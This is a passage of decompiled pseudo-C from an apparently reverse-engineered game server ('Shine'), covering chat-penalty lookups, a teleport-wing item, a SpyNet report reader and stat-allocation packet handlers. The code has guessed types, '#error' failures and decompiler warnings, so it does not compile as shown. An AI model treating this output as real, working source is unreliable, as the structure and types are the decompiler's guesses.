v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0, v4) : &v3->spdb_BinSpamerPenaltyData.bdb_defaultblock; if ( PenaltyLv == *(_BYTE *)v5 ) break; ++v4; if ( (signed int)v4 >= v3->spdb_SpamerPenaltyMaxNum ) goto LABEL_7; } if ( v4 < v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { *BlockTime = *(_WORD *)((char *)CDataReader::GetRecord(&v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0, v4) + 1); result = 1; } else { *BlockTime = v3->spdb_BinSpamerPenaltyData.bdb_defaultblock.ChatBlockTime; result = 1; } } else { LABEL_7: result = 0; } return result; } //----- (0051E8D0) -------------------------------------------------------- bool __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetProbateTime(SpamerPenaltyDataBox *this, char PenaltyLv, unsigned __int16 *ProbateTime) { SpamerPenaltyDataBox *v3; // ebp@1 unsigned int v4; // esi@1 void *v5; // eax@3 bool result; // al@7 v3 = this; v4 = 0; if ( this->spdb_SpamerPenaltyMaxNum ) { while ( 1 ) { v5 = v4 < v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0, v4) : &v3->spdb_BinSpamerPenaltyData.bdb_defaultblock; if ( PenaltyLv == *(_BYTE *)v5 ) break; ++v4; if ( (signed int)v4 >= v3->spdb_SpamerPenaltyMaxNum ) goto LABEL_7; } if ( v4 < v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { *ProbateTime = *(_WORD *)((char *)CDataReader::GetRecord( &v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0, v4) + 3); result = 1; } else { *ProbateTime = v3->spdb_BinSpamerPenaltyData.bdb_defaultblock.ProbateTime; result = 1; } } else { LABEL_7: result = 0; } return result; } //----- (0051E960) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { this->mq_Pointer.mask = 127; this->mq_Pointer.value = 0; } //----- (0051E980) -------------------------------------------------------- unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, ShineItemAttr_BindItem::Bind *content) { unsigned int v3; // eax@1 char *v4; // eax@1 v3 = this->mq_Pointer.mask & (this->mq_Pointer.value + 1); this->mq_Pointer.value = v3; this->mq_Buffer[v3].handle = hnd; v4 = (char *)&this->mq_Buffer[this->mq_Pointer.value].content; *(_DWORD *)v4 = *(_DWORD *)&content->mapid; *((_DWORD *)v4 + 1) = *(unsigned int *)((char *)&content->x + 2); *((_WORD *)v4 + 4) = HIWORD(content->y); return LOWORD(this->mq_Pointer.value); } //----- (0051E9D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(void *this, unsigned __int16 itemid, int loc) { void *v3; // esi@1 int v4; // ecx@1 int v5; // eax@2 int result; // eax@5 ItemBoxIterator *v7; // edx@6 __int16 v8; // ax@6 int v9; // eax@6 int v10; // esi@6 InventoryLocking::UnlockedInventoryIterator uii; // [sp+4h] [bp-2Ch]@4 ItemBoxIterIdent ibii; // [sp+10h] [bp-20h]@1 int v13; // [sp+2Ch] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_FindItemFromInventory"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_FindItemFromInventory"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (int)((char *)v3 + 35536); v13 = 0; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = (ItemBag *)((char *)v3 + 35536); if ( v3 == (void *)-91696 ) v5 = (*(int (**)(void))(*(_DWORD *)v4 + 8))(); else v5 = (*(int (__stdcall **)(char *))(*(_DWORD *)v4 + 4))((char *)v3 + 91696); ibii.baseclass_0.ibi_Limit = v5; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterIdent::_vftable_; ibii.ibii_ident = itemid; LOBYTE(v13) = 1; uii.uii_Iterator = (ItemBoxIterator *)&ibii; uii.uii_LockList = (InventoryLocking::InventoryCellLock *)((char *)v3 + 57736); uii.uii_InvenType = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home(&uii) ) { v7 = uii.uii_Iterator; v8 = *(_WORD *)loc & 0x3FF | 0x2400; *(_WORD *)loc = v8; *(_WORD *)loc = v8 ^ (v8 ^ LOWORD(v7->ibi_finger)) & 0x3FF; v9 = (**(int (__stdcall ***)(_DWORD))v7->ibi_itembag)(v7->ibi_finger); --funcallanalizer.fca_stackpoint; v10 = v9; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_FindItemFromInventory"); result = v10; } else { --funcallanalizer.fca_stackpoint; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_FindItemFromInventory"); result = 0; } return result; } // 51E9D0: inconsistent function type and number of purged bytes // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87EC: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (0051EB50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SparrowWingExpand(void *this, signed int limit) { void *v2; // ebx@1 int v3; // eax@3 int v4; // ebp@3 int v5; // ecx@4 char *v6; // [sp-Ch] [bp-9Ch]@6 ITEM_INVEN inven; // [sp+8h] [bp-88h]@3 FunctionEntarance _; // [sp+Ch] [bp-84h]@1 ItemTotalInformation sparrow; // [sp+10h] [bp-80h]@7 unsigned int v10; // [sp+80h] [bp-10h]@10 int v11; // [sp+8Ch] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_SparrowWingExpand"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SparrowWingExpand"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SparrowWingExpand"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v11 = 0; if ( limit > 10 ) limit = 10; v3 = ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(v2, unk_125741B4, (int)&inven); v4 = v3; if ( v3 && (v5 = *(_DWORD *)(v3 + 112)) != 0 && (*(int (**)(void))(*(_DWORD *)v5 + 36))() == 13 ) { memcpy(&sparrow, (const void *)v4, 0x6Cu); *(_WORD *)((char *)&sparrow.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)(v4 + 108); BYTE3(sparrow.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v4 + 110); if ( (unsigned __int8)sparrow.iti_itemstruct.itemattr.blot.lot < limit ) { *(unsigned __int16 *)((char *)&sparrow.iti_itemstruct.itemattr.wlot.lot + 10 * (unsigned __int8)sparrow.iti_itemstruct.itemattr.blot.lot + 1) = -1; *(unsigned int *)((char *)&sparrow.iti_itemstruct.itemattr.dlot.lot + 10 * (unsigned __int8)sparrow.iti_itemstruct.itemattr.blot.lot + 3) = 10000; *(_DWORD *)&sparrow.iti_itemstruct.itemattr.amulet.upgradeopton[5 * (unsigned __int8)sparrow.iti_itemstruct.itemattr.blot.lot] = 10000; ++sparrow.iti_itemstruct.itemattr.blot.lot; ShineObjectClass::ShinePlayer::sp_AttrChange2DB(v2, v4, *(_DWORD *)(v4 + 112), (int)&sparrow, (int)&inven); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2240))(v2, 1792, 9); } v11 = -1; v6 = "ShineObjectClass::ShinePlayer::so_ply_SparrowWingExpand"; } else { v11 = -1; v6 = "ShineObjectClass::ShinePlayer::so_ply_SparrowWingExpand"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v6); __security_check_cookie(v10); } //----- (0051ECD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_SAVE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 int v5; // eax@5 int v6; // eax@8 int v7; // ebp@8 int v8; // ecx@10 int v9; // edx@13 Name3 *v10; // edi@18 char *v11; // eax@20 signed int v12; // [sp+0h] [bp-9Ch]@13 FunctionEntarance _; // [sp+14h] [bp-88h]@1 ITEM_INVEN inven; // [sp+18h] [bp-84h]@8 ItemTotalInformation sparrow; // [sp+1Ch] [bp-80h]@12 unsigned int v16; // [sp+8Ch] [bp-10h]@17 int v17; // [sp+98h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_SAVE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_SAVE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_SAVE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; if ( !(_S4_20 & 1) ) { _S4_20 |= 1u; unk_124F2548.cmc_AllowMode = 70; atexit(_E5_68); } if ( !((1 << **((_BYTE **)v4 + 929)) & unk_124F2548.cmc_AllowMode) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 21, 4422); LABEL_22: --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_SAVE_REQ"); goto LABEL_17; } v5 = *(_DWORD *)((char *)v4 + 98); if ( !v5 ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 21, 4419); goto LABEL_22; } if ( !*(_BYTE *)(*(_DWORD *)(v5 + 12) + 107) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 21, 4419); goto LABEL_22; } v6 = ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(v4, unk_125741B4, (int)&inven); v7 = v6; if ( v6 ) { v8 = *(_DWORD *)(v6 + 112); if ( v8 ) { if ( (*(int (**)(void))(*(_DWORD *)v8 + 36))() == 13 ) { memcpy(&sparrow, (const void *)v7, 0x6Cu); *(_WORD *)((char *)&sparrow.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)(v7 + 108); BYTE3(sparrow.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v7 + 110); if ( *(_BYTE *)(netcmd + 2) < (unsigned __int8)sparrow.iti_itemstruct.itemattr.blot.lot ) { v10 = *(Name3 **)((char *)v4 + 98); if ( !v10 || !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2576))(v4) ) goto LABEL_15; v11 = NameString::operator__(&namestring, v10); *(unsigned __int16 *)((char *)&sparrow.iti_itemstruct.itemattr.wlot.lot + 10 * *(_BYTE *)(netcmd + 2) + 1) = MapDataBox::mdb_2mapid(&mapdatabox, v11); *(unsigned int *)((char *)&sparrow.iti_itemstruct.itemattr.dlot.lot + 10 * *(_BYTE *)(netcmd + 2) + 3) = **(_DWORD **)((char *)v4 + 78); *(_DWORD *)&sparrow.iti_itemstruct.itemattr.amulet.upgradeopton[5 * *(_BYTE *)(netcmd + 2)] = *(_DWORD *)(*(_DWORD *)((char *)v4 + 78) + 4); ShineObjectClass::ShinePlayer::sp_AttrChange2DB(v4, v7, *(_DWORD *)(v7 + 112), (int)&sparrow, (int)&inven); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 2240))(v4, 1792, 9); v9 = *(_DWORD *)v4; v12 = 4417; } else { v9 = *(_DWORD *)v4; v12 = 4420; } (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v9 + 776))(v4, 6, 21, v12); LABEL_15: v17 = -1; goto LABEL_16; } } } v17 = -1; LABEL_16: FunctionEntarance::_FunctionEntarance(&_); LABEL_17: __security_check_cookie(v16); } //----- (0051EF30) -------------------------------------------------------- #error "51EF30: undefined or illegal type '#434' (funcsize=188)" //----- (0051F1E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SparrowWingFly(void *this) { void *v1; // esi@1 signed int v2; // edi@1 unsigned __int16 v3; // ax@1 int v4; // ebp@2 int v5; // eax@3 char *v6; // edi@3 DebugLogging *v7; // eax@3 DebugLogging *v8; // esi@3 _iobuf *v9; // eax@5 DebugLogging *v10; // eax@7 DebugLogging *v11; // eax@7 int v12; // eax@9 unsigned int v13; // ecx@9 char *v14; // ecx@9 char *v15; // ST10_4@9 DebugLogging *v16; // eax@9 DebugLogging *v17; // eax@9 int v18; // ecx@10 MapInfo *v19; // edi@11 int v20; // ST10_4@13 Name4 *v21; // eax@13 char *v22; // ST08_4@13 DebugLogging *v23; // eax@13 DebugLogging *v24; // eax@13 DebugLogging *v25; // eax@13 DebugLogging *v26; // eax@13 unsigned int v27; // eax@14 char *v28; // eax@14 unsigned int v29; // eax@14 char *v30; // eax@14 unsigned int v31; // eax@14 int v32; // edx@14 NPCManager::LinkInformTemplete linkstruct; // [sp+10h] [bp-78h]@14 unsigned int v34; // [sp+78h] [bp-10h]@16 int v35; // [sp+84h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SparrowWingFly"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SparrowWingFly"; v2 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_WORD *)v1 + 46098); v35 = 0; if ( v3 >= 0x80u || (v4 = 12 * v3 + 307176792, 12 * v3 == -307176792) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1352))(v1); namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v6 = (char *)&namestring + 256 * namestring.ns_point.value; *(_DWORD *)v6 = *(_DWORD *)v5; *((_DWORD *)v6 + 1) = *(_DWORD *)(v5 + 4); *((_DWORD *)v6 + 2) = *(_DWORD *)(v5 + 8); *((_DWORD *)v6 + 3) = *(_DWORD *)(v5 + 12); v6[16] = 0; v7 = DebugLogging::operator<<(&ChargedItemLog, "Fly Null return "); v8 = v7; if ( DebugLogging::dl_ActivAll ) { if ( v7->dl_Activ ) { DebugLogging::dl_FilePoint(v7); v9 = v8->dl_FilePointer; if ( v9 ) fprintf(v9, "%d"); } } v10 = DebugLogging::operator<<(v8, (char *)&stru_5A4E3C); v11 = DebugLogging::operator<<(v10, v6); DebugLogging::operator<<(v11, &deb_LF); goto LABEL_15; } if ( *((_WORD *)v1 + 2) == queue_sparrowfly.mq_Buffer[v3].handle ) { v18 = queue_sparrowfly.mq_Buffer[v3].content.mapid; if ( v18 < mapdatabox.mdb_maxmapid ) { v19 = mapdatabox.mdb_index[v18]; if ( v19 ) { v27 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v27; v28 = (char *)&namestring + 256 * v27; *(_DWORD *)v28 = *(_DWORD *)&v19->MapName.n3_name[0]; *((_DWORD *)v28 + 1) = *(_DWORD *)&v19->MapName.n3_name[4]; *((_DWORD *)v28 + 2) = *(_DWORD *)&v19->MapName.n3_name[8]; v28[12] = 0; strncpy(linkstruct.linktoserver, v28, 0xCu); v29 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v29; v30 = (char *)&namestring + 256 * v29; *(_DWORD *)v30 = *(_DWORD *)&v19->MapName.n3_name[0]; *((_DWORD *)v30 + 1) = *(_DWORD *)&v19->MapName.n3_name[4]; *((_DWORD *)v30 + 2) = *(_DWORD *)&v19->MapName.n3_name[8]; v30[12] = 0; strncpy(linkstruct.linktoclient, v30, 0xCu); v31 = *(_DWORD *)(v4 + 4); v32 = *(_DWORD *)v1; linkstruct.coordy = *(_DWORD *)(v4 + 8); linkstruct.coordx = v31; (*(void (__thiscall **)(void *, signed int, signed int))(v32 + 772))(v1, 12, 26); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v1 + 2240))(v1, 1792, 9); (*(void (__thiscall **)(void *, NPCManager::LinkInformTemplete *, signed int, signed int, signed int))(*(_DWORD *)v1 + 1472))( v1, &linkstruct, 6, 9, 10); LABEL_15: v35 = -1; goto LABEL_16; } v2 = -1; } v20 = queue_sparrowfly.mq_Buffer[v3].content.mapid; v21 = (Name4 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1352))(v1); v22 = NameString::operator__(&namestring, v21); v23 = DebugLogging::operator<<(&ChargedItemLog, "Fly Null map"); v24 = DebugLogging::operator<<(v23, v22); v25 = DebugLogging::operator<<(v24, (char *)&stru_5AB5B0); v26 = DebugLogging::operator<<(v25, v20); DebugLogging::operator<<(v26, &deb_LF); v35 = v2; } else { v12 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1352))(v1); v13 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v13; v14 = (char *)&namestring + 256 * v13; *(_DWORD *)v14 = *(_DWORD *)v12; *((_DWORD *)v14 + 1) = *(_DWORD *)(v12 + 4); *((_DWORD *)v14 + 2) = *(_DWORD *)(v12 + 8); v15 = v14; *((_DWORD *)v14 + 3) = *(_DWORD *)(v12 + 12); v14[16] = 0; v16 = DebugLogging::operator<<(&ChargedItemLog, "Fly Null "); v17 = DebugLogging::operator<<(v16, v15); DebugLogging::operator<<(v17, &deb_LF); v35 = -1; } LABEL_16: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SparrowWingFly"); __security_check_cookie(v34); } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0051F510) -------------------------------------------------------- void __thiscall SpyNet::EspionageAgent::EspionageAgent(SpyNet::EspionageAgent *this) { char *v1; // edx@1 signed int v2; // esi@1 this->ea_Pointer.mask = 15; this->ea_Pointer.value = 0; v1 = (char *)&this->ea_SecretReport[0].sr_Report.getheal.healingup; v2 = 16; do { *((_DWORD *)v1 - 2) = 1; *((_DWORD *)v1 - 1) = 0; *(_DWORD *)v1 = -1; *((_DWORD *)v1 + 1) = 1000; v1 += 16; --v2; } while ( v2 ); } //----- (0051F550) -------------------------------------------------------- void __thiscall SpyNet::IntelligenceOffice4Mob::IntelligenceOffice4Mob(SpyNet::IntelligenceOffice4Mob *this) { this->baseclass_0.io_Pointer.mask = 15; this->baseclass_0.io_Pointer.value = 0; this->baseclass_0.vfptr = (SpyNet::IntelligenceOfficeVtbl *)&SpyNet::IntelligenceOffice4Mob::_vftable_; } // 5DB8C8: using guessed type int (__stdcall *SpyNet__IntelligenceOffice4Mob___vftable_)(int, int report); //----- (0051F570) -------------------------------------------------------- void __thiscall SpyNet::IntelligenceOffice4Mob::_IntelligenceOffice4Mob(SpyNet::IntelligenceOffice4Mob *this) { this->baseclass_0.vfptr = (SpyNet::IntelligenceOfficeVtbl *)SpyNet::IntelligenceOffice::_vftable_; } // 5DB8B8: using guessed type int (*SpyNet__IntelligenceOffice___vftable_[3])(); //----- (0051F580) -------------------------------------------------------- #error "51F580: undefined or illegal type '#325' (funcsize=20)" //----- (0051F5C0) -------------------------------------------------------- void __thiscall SpyNet::IntelligenceOffice::io_ReadReport(SpyNet::IntelligenceOffice *this, #325 *a2, SpyNet::EspionageAgent *spy) { SpyNet::IntelligenceOffice *v3; // esi@1 unsigned int v4; // ebp@1 int v5; // eax@2 SpyNet::SecretReportType v6; // ecx@2 char *v7; // eax@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "SpyNet::IntelligenceOffice::io_ReadReport"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SpyNet::IntelligenceOffice::io_ReadReport"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; while ( 2 ) { v5 = v3->io_Pointer.value & 0xF; v6 = spy->ea_SecretReport[v5].sr_Type; v7 = (char *)spy + v5 * 16; switch ( v6 ) { case 1: v3->vfptr->io_SRT_GETHEAL(v3, a2, (SpyNet::SecretReport *)v7); goto LABEL_7; case 2: v3->vfptr->io_SRT_SOMEONE_GIVE_ABSTATE(v3, a2, (SpyNet::SecretReport *)v7); goto LABEL_7; case 3: v3->vfptr->io_SRT_SOMEONE_REMOVE_ABSTATE(v3, a2, (SpyNet::SecretReport *)v7); goto LABEL_7; case 4: v3->vfptr->io_SRT_VANISH_ABSTATE(v3, a2, (SpyNet::SecretReport *)v7); goto LABEL_7; case 0: goto $L141953; default: LABEL_7: ++v4; v3->io_Pointer.value = v3->io_Pointer.mask & (v3->io_Pointer.value + 1); if ( v4 < 0x10 ) continue; AssertClass::ac_AssertFail( &shineassert, "SpyNet::IntelligenceOffice::io_ReadReport : Cannot found EOR(End of Report)", 0); $L141953: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SpyNet::IntelligenceOffice::io_ReadReport"); return; } } } //----- (0051F6D0) -------------------------------------------------------- int __usercall ShineObjectClass::ShinePlayer::so_ply_FreeStat_Increase(int a1, int a2, int a3, int pAck, char DecStat, char a6) { unsigned __int16 v6; // ax@1 int v7; // esi@1 int v8; // edx@1 int result; // eax@2 int v10; // ST0C_4@3 int v11; // ebx@3 int v12; // ebp@3 int v13; // ecx@3 unsigned __int8 v14; // dl@3 int v15; // eax@5 char v16; // bl@9 int v17; // edx@19 char *v18; // eax@19 int v19; // eax@21 int v20; // [sp+0h] [bp-8h]@0 v6 = *(_WORD *)(pAck + 13); v7 = a1; v8 = *(_DWORD *)a1; if ( v6 == 2753 ) { v10 = a2; v11 = *(_DWORD *)(a1 + 4004); v12 = (unsigned __int8)(*(int (__stdcall **)(int, int))(v8 + 1220))(a3, v10); v13 = shineparam.scp_param.commonparam[v12]->stat[(*(int (__thiscall **)(int))(*(_DWORD *)v11 + 40))(v11)]; v14 = *(_BYTE *)(pAck + 6); if ( v13 >= *(_BYTE *)(pAck + 6) + *(_BYTE *)(pAck + 7) + *(_BYTE *)(pAck + 8) + *(_BYTE *)(pAck + 9) + *(_BYTE *)(pAck + 10) ) { v15 = 0; do { if ( v13 < *(_BYTE *)(pAck + v15 + 6) ) { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_FreeStat_Increase : Invalid Stat ", v15); return (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v7 + 776))(v7, 4); } ++v15; } while ( v15 < 5 ); if ( *(_BYTE *)(v7 + 32100) >= v14 ) { if ( *(_BYTE *)(v7 + 32101) >= *(_BYTE *)(pAck + 7) ) { if ( *(_BYTE *)(v7 + 32102) >= *(_BYTE *)(pAck + 8) ) { if ( *(_BYTE *)(v7 + 32103) >= *(_BYTE *)(pAck + 9) ) { v16 = 4; if ( *(_BYTE *)(v7 + 32104) >= *(_BYTE *)(pAck + 10) ) v16 = a6; } else { v16 = 3; } } else { v16 = 2; } } else { v16 = 1; } } else { v16 = 0; } *(_BYTE *)(v7 + 32100) = v14; *(_BYTE *)(v7 + 32101) = *(_BYTE *)(pAck + 7); *(_BYTE *)(v7 + 32102) = *(_BYTE *)(pAck + 8); v17 = *(_DWORD *)(v7 + 4004); *(_BYTE *)(v7 + 32103) = *(_BYTE *)(pAck + 9); *(_BYTE *)(v7 + 32104) = *(_BYTE *)(pAck + 10); Parameter::Container::c_Storepure((void *)(v7 + 4008), v17, v7, v20); v18 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4191; v18[2] = v16; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v19 = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 764))(v7); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v19 + 12))(v19, v7, &gpp); result = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 1300))(v7); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_StatIncrease : Packet Too Long", 3); result = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 1300))(v7); } } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_StatIncrease :too many stat - changestat", 0); result = (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v7 + 776))(v7, 4); } } else { result = (*(int (__stdcall **)(signed int, signed int, _DWORD))(v8 + 776))(4, 97, v6); } return result; } // 51F6D0: could not find valid save-restore pair for ebx //----- (0051F8A0) -------------------------------------------------------- int __usercall ShineObjectClass::ShinePlayer::so_ply_FreeStat_Decrease(int a1, int a2, int a3, int pAck, char DecStat, int a6) { int v6; // esi@1 int result; // eax@2 int v8; // ST0C_4@3 int v9; // ebx@3 int v10; // ebp@3 int v11; // ebp@3 DebugLogging *v12; // ebx@6 _iobuf *v13; // eax@8 int v14; // eax@11 unsigned __int8 v15; // al@14 char v16; // bl@15 int v17; // ecx@25 char *v18; // eax@25 int v19; // eax@27 int v20; // [sp+0h] [bp-8h]@0 v6 = a1; if ( *(_WORD *)(pAck + 13) == 2753 ) { v8 = a2; v9 = *(_DWORD *)(a1 + 4004); v10 = (unsigned __int8)(*(int (__stdcall **)(int, int, int))(*(_DWORD *)a1 + 1220))(a3, v8, v20); v11 = shineparam.scp_param.commonparam[v10]->stat[(*(int (__thiscall **)(int))(*(_DWORD *)v9 + 40))(v9)]; if ( v11 >= *(_BYTE *)(pAck + 6) + *(_BYTE *)(pAck + 8) + *(_BYTE *)(pAck + 7) + *(_BYTE *)(pAck + 10) + *(_BYTE *)(pAck + 9) ) { if ( !(unsigned __int8)(*(int (__thiscall **)(int, int, _DWORD))(*(_DWORD *)(v6 + 57736) + 24))( v6 + 57736, v6, *(_WORD *)(pAck + 11)) ) { a6 = *(_WORD *)(pAck + 11); v12 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_StatDecrease : "); if ( DebugLogging::dl_ActivAll ) { if ( v12->dl_Activ ) { DebugLogging::dl_FilePoint(v12); v13 = v12->dl_FilePointer; if ( v13 ) fprintf(v13, "%d"); } } DebugLogging::operator<<(v12, &deb_LF); } v14 = 0; do { if ( v11 < *(_BYTE *)(pAck + v14 + 6) ) { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_FreeStat_Increase : Invalid Stat ", v14); return (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v6 + 776))(v6, 4); } ++v14; } while ( v14 < 5 ); v15 = *(_BYTE *)(pAck + 6); if ( *(_BYTE *)(v6 + 32100) <= v15 ) { if ( *(_BYTE *)(v6 + 32101) <= *(_BYTE *)(pAck + 7) ) { if ( *(_BYTE *)(v6 + 32102) <= *(_BYTE *)(pAck + 8) ) { if ( *(_BYTE *)(v6 + 32103) <= *(_BYTE *)(pAck + 9) ) { v16 = 4; if ( *(_BYTE *)(v6 + 32104) <= *(_BYTE *)(pAck + 10) ) v16 = a6; } else { v16 = 3; } } else { v16 = 2; } } else { v16 = 1; } } else { v16 = 0; } *(_BYTE *)(v6 + 32100) = v15; *(_BYTE *)(v6 + 32101) = *(_BYTE *)(pAck + 7); *(_BYTE *)(v6 + 32102) = *(_BYTE *)(pAck + 8); v17 = *(_DWORD *)(v6 + 4004); *(_BYTE *)(v6 + 32103) = *(_BYTE *)(pAck + 9); *(_BYTE *)(v6 + 32104) = *(_BYTE *)(pAck + 10); Parameter::Container::c_Storepure((void *)(v6 + 4008), v17, v6, 0); v18 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4197; v18[2] = v16; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v19 = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 764))(v6); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v19 + 12))(v19, v6, &gpp); result = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1300))(v6); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_FreeStat_Decrease : Packet Too Long", 3); result = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1300))(v6); } } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_StatIncrease :too many stat - changestat", 0); result = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 776))(v6); } } else { (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)(a1 + 57736) + 32))(a1 + 57736, *(_WORD *)(pAck + 11)); result = (*(int (__thiscall **)(int, signed int, signed int, _DWORD))(*(_DWORD *)v6 + 776))( v6, 4, 103, *(_WORD *)(pAck + 13)); } return result; } // 51F8A0: could not find valid save-restore pair for ebx // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0051FB00) -------------------------------------------------------- void 